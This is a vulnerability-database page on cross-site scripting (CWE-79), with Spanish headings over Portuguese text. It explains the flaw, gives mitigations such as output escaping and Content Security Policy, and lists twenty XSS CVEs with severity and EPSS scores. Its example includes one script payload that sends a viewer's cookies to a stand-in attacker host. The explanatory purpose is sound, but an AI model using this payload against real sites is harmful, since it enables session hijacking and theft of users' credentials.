Fallos del tipo CWE-79

30.300 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-30526MEDIUMA Reflected Cross-Site Scripting (XSS) vulnerability exists in SourceCodester Zoo Management System v1.0. The vulnerability is located in thEPSS 0.3%CVE-2024-28794MEDIUMIBM InfoSphere Information Server cross-site scriptingEPSS 0.3%CVE-2024-37246MEDIUMWordPress Gallery Slideshow plugin <= 1.4.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-87870MEDIUMNinja Forms - Scheduled Exports <= 3.0.3 - Authenticated (Subscriber+) Stored Cross-Site Scripting via REST API ParametersEPSS 0.3%CVE-2024-44063MEDIUMWordPress Happyforms plugin <= 1.26.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-6235MEDIUMExtremeControl (NAC) 'onmouseover' XSSEPSS 0.3%CVE-2026-15161MEDIUMNinja Forms - Excel Export <= 3.3.6 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'filter' ParameterEPSS 0.3%CVE-2026-1097MEDIUMThemeRuby Multi Authors <= 1.0.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'before' and 'after' Shortcode AttributesEPSS 0.3%CVE-2025-5990HIGHImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in Crafty ControllerEPSS 0.3%CVE-2024-43346MEDIUMWordPress Modal Window – create popup modal window plugin <= 6.0.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-4783MEDIUMExclusive Addons for Elementor <= 2.7.9.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Countdown Timer WidgetEPSS 0.3%CVE-2026-15889MEDIUMAruba HiSpeed Cache <= 3.0.14 - Authenticated (Contributor+) Stored Cross-Site Scripting via Post ContentEPSS 0.3%CVE-2024-35708MEDIUMWordPress Rife Free theme <= 2.4.19 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-10881MEDIUMLUNA RADIO PLAYER <= 6.24.11.07 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.3%CVE-2026-6827MEDIUMjusthtml before 1.17.0 Multiple Cross-Site Scripting VulnerabilitiesEPSS 0.3%CVE-2024-37101MEDIUMWordPress WP Post Author plugin <= 3.6.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-7486MEDIUMEbook Store <= 5.8012 - Authenticated (Administrator+) Stored Cross-Site Scripting via Order DetailsEPSS 0.3%CVE-2025-14069MEDIUMSchema & Structured Data for WP & AMP <= 1.54 - Authenticated (Contributor+) Stored Cross-Site Scripting via User Custom SchemaEPSS 0.3%CVE-2026-1279MEDIUMEmployee Directory <= 1.2.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'form_title' Shortcode AttributeEPSS 0.3%CVE-2026-102830MEDIUMJupyterLab: Cross-site scripting (XSS) in JupyterLab via crafted language package (jupyterlab.json)EPSS 0.3%